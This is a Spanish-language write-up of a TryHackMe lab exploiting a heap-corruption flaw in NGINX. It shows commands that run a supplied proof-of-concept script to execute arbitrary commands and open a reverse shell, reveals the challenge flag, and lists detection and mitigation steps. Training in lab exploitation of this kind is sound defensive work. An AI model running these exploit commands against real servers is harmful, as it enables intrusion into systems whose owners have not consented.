Este laboratorio demuestra la explotación de CVE-2024-24945, una vulnerabilidad de corrupción de heap que afecta a NGINX. El objetivo era comprender cómo la corrupción de memoria puede conducir a la Ejecución Remota de Código (RCE) y obtener experiencia práctica en técnicas de explotación, detección y mitigación.
Este laboratorio demuestra la explotación de CVE-2024-24945, una vulnerabilidad de corrupción del montón (heap corruption) que afecta a NGINX. El objetivo fue comprender cómo la corrupción de memoria puede provocar la ejecución remota de código (RCE) y adquirir experiencia práctica en técnicas de explotación, detección y mitigación.
. Verificar el servicio NGINX vulnerable. . Ejecutar comandos arbitrarios utilizando la prueba de concepto (PoC) proporcionada. . Obtener una reverse shell en el contenedor objetivo. . Recuperar la bandera del desafío. . Comprender las estrategias de detección y mitigación.
. Plataforma: TryHackMe . Servicio objetivo: NGINX RIFT . Entorno Contenerizado: Docker . Herramienta de Explotación: poc.py . Método de Acceso: VNC (Virtual Network Computing)
Verificación del Servicio
Se confirmó que el contenedor vulnerable estaba en ejecución y accesible.
sudo docker ps
curl -s http://127.0.0.1:19321/api/users/42
backend ok
Se ejecutó la PoC proporcionada para validar la ejecución de comandos arbitrarios.
pytho3 poc.py --cmd 'echo hello from depthfirst > /tmp/pwned
Se verificó la ejecución exitosa:
sudo docker exec nginx-rift-nginx-1
cat /tmp/pwned
Salida: hello from depthfirst
Establecer una shell interactiva en el contenedor objetivo.
python3 poc.py --shell
Conexión Exitosa:
[] escuchando reverse shell en el puerto 1337... [] conectado. $
Se accedió a la bandera del desafío.
cat /flag.txt
THM{18_y34r_%t4t3_m15m4tch_rip5_th3_h34p}
Los defensores pueden identificar intentos de explotación mediante:
. Caídas del trabajador de NGINX . Eventos de fallo de segmentación . Conexiones de red salientes inesperadas . Procesos de shell sospechosos (/bin/sh, bash) . Creación de archivos no autorizada en directorios temporales
. Actualizar a una versión parcheada de NGINX. . Aplicar el principio de mínimo privilegio. . Restringir el tráfico de red saliente innecesario. . Implementar monitoreo continuo de registros. . Usar controles de seguridad de contenedores y monitoreo en tiempo de ejecución.
Este laboratorio proporcionó experiencia práctica en:
. Comprensión de vulnerabilidades de corrupción del montón. . Explotación de fallos de ejecución remota de código. . Establecimiento de reverse shells. . Realización de validación posterior a la explotación. . Reconocimiento de indicadores de compromiso y técnicas de mitigación.
Este ejercicio se realizó en un entorno controlado de laboratorio de TryHackMe con fines educativos y de entrenamiento defensivo en ciberseguridad únicamente.
Autor: [Benedict Ejepu Amaechi] Plataforma: TryHackMe Tema: CVE-2024-24945 (NGINX RIFT) Explotación y Defensa Fecha de finalización: Junio 2026